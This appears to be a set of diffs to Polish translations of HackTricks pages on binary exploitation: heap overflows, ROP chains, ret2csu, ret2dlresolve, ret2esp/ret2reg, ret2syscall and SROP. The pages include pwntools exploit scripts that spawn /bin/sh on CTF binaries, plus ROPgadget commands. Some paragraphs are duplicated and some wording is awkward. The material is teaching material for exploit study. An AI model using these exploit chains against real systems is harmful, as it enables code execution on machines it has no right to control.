Aby wymusić to wypełnienie obiektami o określonym rozmiarze, **alokacja poza linią związana z portem mach iOS** jest idealnym kandydatem. Poprzez skonstruowanie rozmiaru wiadomości, można dokładnie określić rozmiar alokacji `kalloc`, a gdy odpowiedni port mach zostanie zniszczony, odpowiednia alokacja zostanie natychmiast zwolniona do `kfree`.
Następnie niektóre z tych miejsc mogą być **zwolnione**. **Lista zwolnień `kalloc.4096` zwalnia elementy w kolejności ostatni w pierwszej kolejności**, co zasadniczo oznacza, że jeśli niektóre miejsca są zwolnione, a exploit próbuje alokować kilka obiektów ofiar, próbując alokować obiekt podatny na przepełnienie, prawdopodobne jest, że ten obiekt będzie następował po obiekcie ofiary.
Następnie niektóre z tych miejsc mogą być **zwolnione**. Lista wolnych elementów **`kalloc.4096` zwalnia elementy w kolejności ostatni wchodzi, pierwszy wychodzi**, co zasadniczo oznacza, że jeśli niektóre miejsca są zwolnione, a exploit próbuje alokować kilka obiektów ofiar, podczas gdy próbuje alokować obiekt podatny na przepełnienie, prawdopodobne jest, że ten obiekt będzie następował po obiekcie ofiary.
### Przykład libc
[**Na tej stronie**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) można znaleźć podstawową emulację przepełnienia sterty, która pokazuje, jak nadpisanie bitu prev in use następnego kawałka i pozycji prev size pozwala na **skonsolidowanie używanego kawałka** (sprawiając, że myśli, że jest nieużywany) i **następnie ponowne przydzielenie go**, będąc w stanie nadpisać dane, które są używane w innym wskaźniku.
[**Na tej stronie**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) można znaleźć podstawową emulację heap overflow, która pokazuje, jak nadpisanie bitu prev in use następnego kawałka i pozycji prev size pozwala na **konsolidację używanego kawałka** (sprawiając, że myśli, że jest nieużywany) i **następnie ponowne przydzielenie go**, będąc w stanie nadpisać dane, które są używane w innym wskaźniku.
Inny przykład z [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) pokazuje bardzo podstawowy przykład CTF, w którym **heap overflow** może być nadużyty do wywołania funkcji zwycięzcy, aby **zdobyć flagę**.
Inny przykład z [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) pokazuje bardzo podstawowy przykład CTF, w którym **heap overflow** może być wykorzystany do wywołania funkcji zwycięzcy, aby **zdobyć flagę**.
W przykładzie [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) można zobaczyć, jak nadużycie przepełnienia bufora pozwala na **nadpisanie w pobliskim kawałku adresu**, gdzie **dane użytkownika** będą zapisywane.
W przykładzie [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) można zobaczyć, jak wykorzystując przepełnienie bufora, można **nadpisać w pobliskim kawałku adres**, gdzie **dane użytkownika** będą zapisywane.
### Przykład ARM64
Na stronie [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) można znaleźć przykład przepełnienia sterty, w którym polecenie, które ma być wykonane, jest przechowywane w następnym kawałku z przepełnionego kawałka. Tak więc, możliwe jest modyfikowanie wykonywanego polecenia poprzez nadpisanie go prostym exploitem, takim jak:
Na stronie [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) można znaleźć przykład heap overflow, w którym polecenie, które ma być wykonane, jest przechowywane w następnym kawałku z przepełnionego kawałka. Tak więc, możliwe jest modyfikowanie wykonywanego polecenia, nadpisując je prostym exploitem, takim jak:
```bash
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
```

View File

@ -8,22 +8,22 @@
### Jak działa ROP
1. **Przechwytywanie przepływu kontrolnego**: Najpierw atakujący musi przechwycić przepływ kontrolny programu, zazwyczaj wykorzystując przepełnienie bufora do nadpisania zapisanej adresu powrotu na stosie.
2. **Łączenie gadżetów**: Atakujący następnie starannie wybiera i łączy gadżety, aby wykonać pożądane działania. Może to obejmować przygotowanie argumentów do wywołania funkcji, wywołanie funkcji (np. `system("/bin/sh")`) oraz obsługę wszelkich niezbędnych czynności porządkowych lub dodatkowych operacji.
3. **Wykonanie ładunku**: Gdy wrażliwa funkcja zwraca, zamiast wracać do legalnej lokalizacji, zaczyna wykonywać łańcuch gadżetów.
1. **Przechwytywanie Przepływu Kontroli**: Najpierw atakujący musi przechwycić przepływ kontroli programu, zazwyczaj wykorzystując przepełnienie bufora do nadpisania zapisanej adresu powrotu na stosie.
2. **Łączenie Gadżetów**: Atakujący następnie starannie wybiera i łączy gadżety, aby wykonać pożądane działania. Może to obejmować przygotowanie argumentów do wywołania funkcji, wywołanie funkcji (np. `system("/bin/sh")`) oraz obsługę wszelkich niezbędnych czynności porządkowych lub dodatkowych operacji.
3. **Wykonanie Ładunku**: Gdy wrażliwa funkcja zwraca, zamiast wracać do legalnej lokalizacji, zaczyna wykonywać łańcuch gadżetów.
### Narzędzia
Zazwyczaj gadżety można znaleźć za pomocą [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) lub bezpośrednio z **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)).
## Przykład łańcucha ROP w x86
## Przykład Łańcucha ROP w x86
### **x86 (32-bit) Konwencje wywołań**
### **x86 (32-bit) Konwencje Wywołań**
- **cdecl**: Wywołujący czyści stos. Argumenty funkcji są umieszczane na stosie w odwrotnej kolejności (od prawej do lewej). **Argumenty są umieszczane na stosie od prawej do lewej.**
- **stdcall**: Podobnie jak cdecl, ale wywoływana funkcja jest odpowiedzialna za czyszczenie stosu.
### **Znajdowanie gadżetów**
### **Znajdowanie Gadżetów**
Najpierw załóżmy, że zidentyfikowaliśmy niezbędne gadżety w binarnym pliku lub jego załadowanych bibliotekach. Gadżety, którymi jesteśmy zainteresowani, to:
@ -36,8 +36,8 @@ Najpierw załóżmy, że zidentyfikowaliśmy niezbędne gadżety w binarnym plik
Używając **pwntools**, przygotowujemy stos do wykonania łańcucha ROP w następujący sposób, mając na celu wykonanie `system('/bin/sh')`, zwróć uwagę, jak łańcuch zaczyna się od:
1. Instrukcji `ret` w celach wyrównania (opcjonalne)
2. Adresu funkcji `system` (zakładając, że ASLR jest wyłączone i znana jest libc, więcej informacji w [**Ret2lib**](ret2lib/))
1. Instrukcji `ret` w celach wyrównania (opcjonalnie)
2. Adresu funkcji `system` (zakładając, że ASLR jest wyłączone i znana jest libc, więcej informacji w [**Ret2lib**](ret2lib/index.html))
3. Miejsca na adres powrotu z `system()`
4. Adresu ciągu `"/bin/sh"` (parametr dla funkcji system)
```python
@ -77,16 +77,16 @@ p.interactive()
### **x64 (64-bit) konwencje wywołań**
- Używa konwencji wywołań **System V AMD64 ABI** w systemach podobnych do Unix, gdzie **pierwsze sześć argumentów całkowitych lub wskaźnikowych jest przekazywanych w rejestrach `RDI`, `RSI`, `RDX`, `RCX`, `R8` i `R9`**. Dodatkowe argumenty są przekazywane na stosie. Wartość zwracana jest umieszczana w `RAX`.
- Używa konwencji wywołań **System V AMD64 ABI** w systemach podobnych do Uniksa, gdzie **pierwsze sześć argumentów całkowitych lub wskaźnikowych jest przekazywanych w rejestrach `RDI`, `RSI`, `RDX`, `RCX`, `R8` i `R9`**. Dodatkowe argumenty są przekazywane na stosie. Wartość zwracana jest umieszczana w `RAX`.
- Konwencja wywołań **Windows x64** używa `RCX`, `RDX`, `R8` i `R9` dla pierwszych czterech argumentów całkowitych lub wskaźnikowych, a dodatkowe argumenty są przekazywane na stosie. Wartość zwracana jest umieszczana w `RAX`.
- **Rejestry**: Rejestry 64-bitowe obejmują `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` oraz `R8` do `R15`.
#### **Znajdowanie gadżetów**
Dla naszych potrzeb skupimy się na gadżetach, które pozwolą nam ustawić rejestr **RDI** (aby przekazać ciąg **"/bin/sh"** jako argument do **system()**) i następnie wywołać funkcję **system()**. Załóżmy, że zidentyfikowaliśmy następujące gadżety:
Dla naszych potrzeb skupmy się na gadżetach, które pozwolą nam ustawić rejestr **RDI** (aby przekazać ciąg **"/bin/sh"** jako argument do **system()**) i następnie wywołać funkcję **system()**. Zakładamy, że zidentyfikowaliśmy następujące gadżety:
- **pop rdi; ret**: Przenosi górną wartość stosu do **RDI** i następnie zwraca. Niezbędne do ustawienia naszego argumentu dla **system()**.
- **ret**: Proste zwrócenie, przydatne do wyrównania stosu w niektórych scenariuszach.
- **ret**: Proste wywołanie zwrotne, przydatne do wyrównania stosu w niektórych scenariuszach.
I znamy adres funkcji **system()**.
@ -140,7 +140,7 @@ W tym przykładzie:
## Główna różnica między x86 a x64
> [!TIP]
> Ponieważ **x64 używa rejestrów dla pierwszych kilku argumentów**, często wymaga mniej gadżetów niż x86 do prostych wywołań funkcji, ale znalezienie i połączenie odpowiednich gadżetów może być bardziej skomplikowane z powodu zwiększonej liczby rejestrów i większej przestrzeni adresowej. Zwiększona liczba rejestrów i większa przestrzeń adresowa w architekturze **x64** stwarzają zarówno możliwości, jak i wyzwania dla rozwoju exploitów, szczególnie w kontekście Programowania Opartego na Zwracaniu (ROP).
> Ponieważ **x64 używa rejestrów dla pierwszych kilku argumentów**, często wymaga mniej gadżetów niż x86 do prostych wywołań funkcji, ale znalezienie i połączenie odpowiednich gadżetów może być bardziej skomplikowane z powodu zwiększonej liczby rejestrów i większej przestrzeni adresowej. Zwiększona liczba rejestrów i większa przestrzeń adresowa w architekturze **x64** stwarzają zarówno możliwości, jak i wyzwania dla rozwoju exploitów, szczególnie w kontekście Programowania Opartego na Powrocie (ROP).
## Przykład łańcucha ROP w ARM64
@ -154,8 +154,8 @@ Sprawdź następującą stronę w celu uzyskania tych informacji:
## Ochrony przed ROP
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): Te zabezpieczenia utrudniają użycie ROP, ponieważ adresy gadżetów zmieniają się między wykonaniami.
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): W przypadku BOF, konieczne jest ominięcie przechowywanych kanarków stosu, aby nadpisać wskaźniki powrotu i wykorzystać łańcuch ROP.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Te zabezpieczenia utrudniają użycie ROP, ponieważ adresy gadżetów zmieniają się między wykonaniami.
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html): W przypadku BOF, konieczne jest ominięcie przechowywanych kanarków stosu, aby nadpisać wskaźniki powrotu i wykorzystać łańcuch ROP.
- **Brak Gadżetów**: Jeśli nie ma wystarczającej liczby gadżetów, nie będzie możliwe wygenerowanie łańcucha ROP.
## Techniki oparte na ROP

View File

@ -10,7 +10,7 @@
Gdy program korzysta z określonych bibliotek (takich jak libc), ma wbudowane funkcje do zarządzania tym, jak różne części programu komunikują się ze sobą. Wśród tych funkcji znajdują się ukryte skarby, które mogą działać jako nasze brakujące gadgets, szczególnie jedna o nazwie `__libc_csu_init`.
### Magiczne gadgets w \_\_libc_csu_init
### Magiczne Gadgets w \_\_libc_csu_init
W **`__libc_csu_init`** znajdują się dwie sekwencje instrukcji (gadgets), które warto wyróżnić:
@ -27,8 +27,8 @@ ret;
To urządzenie pozwala nam kontrolować te rejestry, wypychając wartości ze stosu do nich.
2. Druga sekwencja wykorzystuje wartości, które ustawiliśmy, aby wykonać kilka rzeczy:
- **Przenieś konkretne wartości do innych rejestrów**, przygotowując je do użycia jako parametry w funkcjach.
- **Wykonaj wywołanie do lokalizacji** określonej przez dodanie wartości w r15 i rbx, a następnie pomnożenie rbx przez 8.
- **Przenieść konkretne wartości do innych rejestrów**, przygotowując je do użycia jako parametry w funkcjach.
- **Wykonać wywołanie do lokalizacji** określonej przez dodanie wartości w r15 i rbx, a następnie pomnożenie rbx przez 8.
```armasm
mov rdx, r15;
mov rsi, r14;
@ -50,7 +50,7 @@ ret
Warunki będą następujące:
- `[r12 + rbx*8]` musi wskazywać na adres przechowujący wywoływalną funkcję (jeśli nie masz pomysłu i nie ma pie, możesz po prostu użyć funkcji `_init`):
- Jeśli \_init znajduje się pod `0x400560`, użyj GEF, aby wyszukać wskaźnik w pamięci do niej i sprawić, aby `[r12 + rbx*8]` był adresem z wskaźnikiem do \_init:
- Jeśli \_init znajduje się pod adresem `0x400560`, użyj GEF, aby wyszukać wskaźnik w pamięci do niego i sprawić, aby `[r12 + rbx*8]` był adresem z wskaźnikiem do \_init:
```bash
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤ search-pattern 0x400560
@ -79,14 +79,14 @@ brop-blind-return-oriented-programming.md
### Używając wywołania
Wyobraź sobie, że chcesz wykonać syscall lub wywołać funkcję, taką jak `write()`, ale potrzebujesz specyficznych wartości w rejestrach `rdx` i `rsi` jako parametrów. Zwykle szukałbyś gadżetów, które bezpośrednio ustawiają te rejestry, ale nie możesz znaleźć żadnych.
Wyobraź sobie, że chcesz wykonać syscall lub wywołać funkcję taką jak `write()`, ale potrzebujesz specyficznych wartości w rejestrach `rdx` i `rsi` jako parametrów. Zwykle szukałbyś gadżetów, które bezpośrednio ustawiają te rejestry, ale nie możesz znaleźć żadnych.
Tutaj wkracza **ret2csu**:
Tutaj wchodzi w grę **ret2csu**:
1. **Ustaw rejestry**: Użyj pierwszego magicznego gadżetu, aby zrzucić wartości ze stosu do rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) i r15.
2. **Użyj drugiego gadżetu**: Gdy te rejestry są ustawione, używasz drugiego gadżetu. To pozwala ci przenieść wybrane wartości do `rdx` i `rsi` (z r14 i r13, odpowiednio), przygotowując parametry do wywołania funkcji. Co więcej, kontrolując `r15` i `rbx`, możesz sprawić, że program wywoła funkcję znajdującą się pod adresem, który obliczasz i umieszczasz w `[r15 + rbx*8]`.
1. **Ustaw rejestry**: Użyj pierwszego magicznego gadżetu, aby popchnąć wartości ze stosu do rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) i r15.
2. **Użyj drugiego gadżetu**: Gdy te rejestry są ustawione, używasz drugiego gadżetu. To pozwala ci przenieść wybrane wartości do `rdx` i `rsi` (z r14 i r13, odpowiednio), przygotowując parametry do wywołania funkcji. Co więcej, kontrolując `r15` i `rbx`, możesz sprawić, że program wywoła funkcję znajdującą się pod adresem, który obliczysz i umieścisz w `[r15 + rbx*8]`.
Masz [**przykład używający tej techniki i wyjaśniający to tutaj**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), a oto ostateczny exploit, który został użyty:
Masz [**przykład używający tej techniki i wyjaśniający to tutaj**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), a to jest ostateczny exploit, który wykorzystano:
```python
from pwn import *
@ -111,7 +111,7 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
```
> [!WARNING]
> Zauważ, że poprzedni exploit nie ma na celu wykonania **`RCE`**, ma na celu jedynie wywołanie funkcji o nazwie **`win`** (biorąc adres `win` z stdin wywołując gets w łańcuchu ROP i przechowując go w r15) z trzecim argumentem o wartości `0xdeadbeefcafed00d`.
> Zauważ, że poprzedni exploit nie jest przeznaczony do wykonania **`RCE`**, ma na celu jedynie wywołanie funkcji o nazwie **`win`** (biorąc adres `win` z stdin wywołując gets w łańcuchu ROP i przechowując go w r15) z trzecim argumentem o wartości `0xdeadbeefcafed00d`.
### Ominięcie wywołania i dotarcie do ret
@ -165,8 +165,8 @@ payload += ret2win
target.sendline(payload)
target.interactive()
```
### Dlaczego nie po prostu używać libc bezpośrednio?
### Dlaczego nie używać bezpośrednio libc?
Zazwyczaj te przypadki są również podatne na [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), ale czasami musisz kontrolować więcej parametrów, niż można łatwo kontrolować za pomocą gadżetów, które znajdziesz bezpośrednio w libc. Na przykład, funkcja `write()` wymaga trzech parametrów, a **znalezienie gadżetów do ustawienia wszystkich tych parametrów bezpośrednio może być niemożliwe**.
Zazwyczaj te przypadki są również podatne na [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), ale czasami musisz kontrolować więcej parametrów, niż można łatwo kontrolować za pomocą gadżetów, które znajdziesz bezpośrednio w libc. Na przykład, funkcja `write()` wymaga trzech parametrów, a **znalezienie gadżetów do ustawienia wszystkich tych parametrów bezpośrednio może być niemożliwe**.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,16 +4,16 @@
## Podstawowe informacje
Jak wyjaśniono na stronie o [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) i [**Relro**](../common-binary-protections-and-bypasses/relro.md), binaria bez Full Relro będą rozwiązywać symbole (takie jak adresy do zewnętrznych bibliotek) za pierwszym razem, gdy są używane. To rozwiązywanie odbywa się poprzez wywołanie funkcji **`_dl_runtime_resolve`**.
Jak wyjaśniono na stronie o [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) i [**Relro**](../common-binary-protections-and-bypasses/relro.md), binaria bez Full Relro będą rozwiązywać symbole (jak adresy do zewnętrznych bibliotek) za pierwszym razem, gdy są używane. To rozwiązywanie odbywa się poprzez wywołanie funkcji **`_dl_runtime_resolve`**.
Funkcja **`_dl_runtime_resolve`** pobiera ze stosu odniesienia do niektórych struktur, których potrzebuje, aby **rozwiązać** określony symbol.
Dlatego możliwe jest **sfałszowanie wszystkich tych struktur**, aby dynamicznie powiązane rozwiązywanie żądanego symbolu (takiego jak funkcja **`system`**) i wywołanie go z skonfigurowanym parametrem (np. **`system('/bin/sh')`**).
Dlatego możliwe jest **sfałszowanie wszystkich tych struktur**, aby dynamicznie powiązane rozwiązywanie żądanego symbolu (jak funkcja **`system`**) i wywołanie jej z skonfigurowanym parametrem (np. **`system('/bin/sh')`**).
Zazwyczaj wszystkie te struktury są fałszowane poprzez stworzenie **początkowego łańcucha ROP, który wywołuje `read`** w pamięci zapisywalnej, następnie **struktury** i ciąg **`'/bin/sh'** są przekazywane, aby zostały zapisane przez `read` w znanej lokalizacji, a następnie łańcuch ROP kontynuuje, wywołując **`_dl_runtime_resolve`**, mając na celu **rozwiązanie adresu `system`** w fałszywych strukturach i **wywołanie tego adresu** z adresem do `$'/bin/sh'`.
Zazwyczaj wszystkie te struktury są fałszowane poprzez stworzenie **początkowego łańcucha ROP, który wywołuje `read`** na zapisywalnej pamięci, następnie **struktury** i ciąg **`'/bin/sh'** są przekazywane, aby zostały zapisane przez `read` w znanej lokalizacji, a następnie łańcuch ROP kontynuuje, wywołując **`_dl_runtime_resolve`**, mając na celu **rozwiązanie adresu `system`** w fałszywych strukturach i **wywołanie tego adresu** z adresem do `$'/bin/sh'`.
> [!TIP]
> Ta technika jest szczególnie przydatna, jeśli nie ma gadżetów syscall (aby używać technik takich jak [**ret2syscall**](rop-syscall-execv/) lub [SROP](srop-sigreturn-oriented-programming/)) i nie ma sposobów na wyciek adresów libc.
> Ta technika jest szczególnie przydatna, jeśli nie ma gadżetów syscall (aby używać technik takich jak [**ret2syscall**](rop-syscall-execv/index.html) lub [SROP](srop-sigreturn-oriented-programming/index.html)) i nie ma sposobów na wyciek adresów libc.
Sprawdź ten film, aby uzyskać ładne wyjaśnienie tej techniki w drugiej połowie filmu:
@ -29,7 +29,7 @@ Lub sprawdź te strony, aby uzyskać krok po kroku wyjaśnienie:
## Podsumowanie ataku
1. Napisz fałszywe struktury w jakimś miejscu
2. Ustaw pierwszy argument system (`$rdi = &'/bin/sh'`)
2. Ustaw pierwszy argument funkcji system (`$rdi = &'/bin/sh'`)
3. Ustaw na stosie adresy do struktur, aby wywołać **`_dl_runtime_resolve`**
4. **Wywołaj** `_dl_runtime_resolve`
5. **`system`** zostanie rozwiązany i wywołany z `'/bin/sh'` jako argument

View File

@ -6,9 +6,9 @@
**Ponieważ ESP (wskaźnik stosu) zawsze wskazuje na szczyt stosu**, technika ta polega na zastąpieniu EIP (wskaźnik instrukcji) adresem instrukcji **`jmp esp`** lub **`call esp`**. Dzięki temu shellcode jest umieszczany tuż po nadpisanym EIP. Gdy instrukcja `ret` jest wykonywana, ESP wskazuje na następny adres, dokładnie tam, gdzie przechowywany jest shellcode.
Jeśli **Randomizacja układu przestrzeni adresowej (ASLR)** nie jest włączona w systemie Windows lub Linux, możliwe jest użycie instrukcji `jmp esp` lub `call esp` znajdujących się w bibliotekach współdzielonych. Jednak przy aktywnym [**ASLR**](../common-binary-protections-and-bypasses/aslr/) może być konieczne poszukiwanie tych instrukcji w samym podatnym programie (i może być konieczne pokonanie [**PIE**](../common-binary-protections-and-bypasses/pie/)).
Jeśli **Randomizacja układu przestrzeni adresowej (ASLR)** nie jest włączona w systemie Windows lub Linux, możliwe jest użycie instrukcji `jmp esp` lub `call esp` znajdujących się w bibliotekach współdzielonych. Jednak przy aktywnym [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) może być konieczne poszukiwanie tych instrukcji w samym podatnym programie (i może być konieczne pokonanie [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)).
Ponadto, możliwość umieszczenia shellcode **po uszkodzeniu EIP**, a nie w środku stosu, zapewnia, że wszelkie instrukcje `push` lub `pop` wykonywane podczas działania funkcji nie zakłócają shellcode. Taka interferencja mogłaby wystąpić, gdyby shellcode był umieszczony w środku stosu funkcji.
Ponadto, możliwość umieszczenia shellcode **po uszkodzeniu EIP**, a nie w środku stosu, zapewnia, że wszelkie instrukcje `push` lub `pop` wykonywane podczas działania funkcji nie zakłócają shellcode. Tego rodzaju zakłócenia mogłyby wystąpić, gdyby shellcode był umieszczony w środku stosu funkcji.
### Brak miejsca
@ -78,7 +78,7 @@ target.interactive()
```
## Ret2reg
Podobnie, jeśli wiemy, że funkcja zwraca adres, w którym przechowywany jest shellcode, możemy wykorzystać instrukcje **`call eax`** lub **`jmp eax`** (znane jako technika **ret2eax**), oferując inny sposób na wykonanie naszego shellcode. Tak jak eax, **dowolny inny rejestr** zawierający interesujący adres może być użyty (**ret2reg**).
Podobnie, jeśli wiemy, że funkcja zwraca adres, w którym przechowywany jest shellcode, możemy wykorzystać instrukcje **`call eax`** lub **`jmp eax`** (znane jako technika **ret2eax**), oferując inny sposób na wykonanie naszego shellcode. Tak jak eax, **dowolny inny rejestr** zawierający interesujący adres mógłby być użyty (**ret2reg**).
### Przykład
@ -159,13 +159,13 @@ p.sendline(payload)
p.interactive()
```
> [!WARNING]
> Jeśli zamiast `fgets` użyto by czegoś takiego jak **`read`**, możliwe byłoby obejście PIE również przez **tylko nadpisanie ostatnich 2 bajtów adresu powrotu**, aby wrócić do instrukcji `br x0;` bez potrzeby znajomości pełnego adresu.\
> Jeśli zamiast `fgets` użyto by czegoś takiego jak **`read`**, możliwe byłoby obejście PIE również przez **przypadkowe nadpisanie ostatnich 2 bajtów adresu powrotu**, aby wrócić do instrukcji `br x0;` bez potrzeby znajomości pełnego adresu.\
> Z `fgets` to nie działa, ponieważ **dodaje bajt null (0x00) na końcu**.
## Ochrony
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Jeśli stos nie jest wykonywalny, to nie pomoże, ponieważ musimy umieścić shellcode na stosie i skoczyć, aby go wykonać.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Mogą one utrudnić znalezienie instrukcji, do której można skoczyć do esp lub innego rejestru.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Mogą utrudnić znalezienie instrukcji, do której można skoczyć do esp lub innego rejestru.
## Odniesienia

View File

@ -4,7 +4,7 @@
## Podstawowe informacje
To jest podobne do Ret2lib, jednak w tym przypadku nie będziemy wywoływać funkcji z biblioteki. W tym przypadku wszystko będzie przygotowane do wywołania syscall `sys_execve` z pewnymi argumentami, aby wykonać `/bin/sh`. Technika ta jest zazwyczaj stosowana w binariach, które są kompilowane statycznie, więc może być wiele gadżetów i instrukcji syscall.
To jest podobne do Ret2lib, jednak w tym przypadku nie będziemy wywoływać funkcji z biblioteki. W tym przypadku wszystko będzie przygotowane do wywołania syscall `sys_execve` z pewnymi argumentami, aby wykonać `/bin/sh`. Technika ta jest zazwyczaj stosowana w binariach skompilowanych statycznie, więc może być wiele gadżetów i instrukcji syscall.
Aby przygotować wywołanie dla **syscall**, potrzebna jest następująca konfiguracja:
@ -16,7 +16,7 @@ Aby przygotować wywołanie dla **syscall**, potrzebna jest następująca konfig
Tak więc, zasadniczo trzeba napisać ciąg `/bin/sh` gdzieś, a następnie wykonać `syscall` (biorąc pod uwagę potrzebne wypełnienie do kontrolowania stosu). W tym celu potrzebujemy gadżetu, aby zapisać `/bin/sh` w znanym obszarze.
> [!TIP]
> Innym interesującym syscall do wywołania jest **`mprotect`**, który pozwoliłby atakującemu na **zmodyfikowanie uprawnień strony w pamięci**. Może to być połączone z [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
> Innym interesującym syscall do wywołania jest **`mprotect`**, który pozwoliłby atakującemu na **zmodyfikowanie uprawnień strony w pamięci**. Można to połączyć z [**ret2shellcode**](../../stack-overflow/stack-shellcode/index.html).
## Gadżety rejestrów
@ -45,14 +45,14 @@ Start End Offset Perm Path
```
### Zapisz ciąg w pamięci
Następnie musisz znaleźć sposób na zapisanie dowolnej treści pod tym adresem.
Następnie musisz znaleźć sposób na zapisanie dowolnej zawartości pod tym adresem.
```python
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
```
### Automatyzacja łańcucha ROP
Poniższe polecenie tworzy pełny łańcuch `sys_execve` ROP dla statycznego binarnego pliku, gdy dostępne są gadżety write-what-where oraz instrukcje syscall:
Poniższe polecenie tworzy pełny łańcuch ROP `sys_execve` dla statycznego binarnego pliku, gdy dostępne są gadżety write-what-where oraz instrukcje syscall:
```bash
ROPgadget --binary vuln --ropchain
```

View File

@ -19,7 +19,7 @@ Zauważ, że byłby to **typ Ret2syscall**, który znacznie ułatwia kontrolowan
../rop-syscall-execv/
{{#endref}}
Jeśli jesteś ciekawy, to jest to **struktura sigcontext** przechowywana na stosie, aby później odzyskać wartości (diagram z [**tutaj**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
Jeśli jesteś ciekawy, to jest to **struktura sigcontext** przechowywana na stosie w celu późniejszego odzyskania wartości (diagram z [**tutaj**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
```
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
@ -90,7 +90,7 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
Sprawdź również [**eksploit stąd**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html), gdzie binarka już wywoływała `sigreturn`, więc nie ma potrzeby budowania tego z **ROP**:
Sprawdź również [**eksploit stąd**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html), gdzie binarka już wywoływała `sigreturn`, więc nie ma potrzeby budować tego z **ROP**:
```python
from pwn import *
@ -128,14 +128,14 @@ target.interactive()
- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
- [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
- Binarne assembly, które pozwala na **zapis do stosu** i następnie wywołuje syscall **`sigreturn`**. Możliwe jest zapisanie na stosie [**ret2syscall**](../rop-syscall-execv/) za pomocą struktury **sigreturn** i odczytanie flagi, która znajduje się w pamięci binarnej.
- Zestawienie w asemblerze, które pozwala na **zapis na stosie** i następnie wywołuje syscall **`sigreturn`**. Możliwe jest zapisanie na stosie [**ret2syscall**](../rop-syscall-execv/index.html) za pomocą struktury **sigreturn** i odczytanie flagi, która znajduje się w pamięci binarnej.
- [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
- Binarne assembly, które pozwala na **zapis do stosu** i następnie wywołuje syscall **`sigreturn`**. Możliwe jest zapisanie na stosie [**ret2syscall**](../rop-syscall-execv/) za pomocą struktury **sigreturn** (binarne zawiera ciąg `/bin/sh`).
- Zestawienie w asemblerze, które pozwala na **zapis na stosie** i następnie wywołuje syscall **`sigreturn`**. Możliwe jest zapisanie na stosie [**ret2syscall**](../rop-syscall-execv/index.html) za pomocą struktury **sigreturn** (binarne zawiera ciąg `/bin/sh`).
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
- 64 bity, brak relro, brak canary, nx, brak pie. Prosty overflow bufora wykorzystujący funkcję `gets` z brakiem gadgetów, które wykonują [**ret2syscall**](../rop-syscall-execv/). Łańcuch ROP zapisuje `/bin/sh` w `.bss` wywołując ponownie gets, wykorzystuje funkcję **`alarm`** do ustawienia eax na `0xf`, aby wywołać **SROP** i uruchomić powłokę.
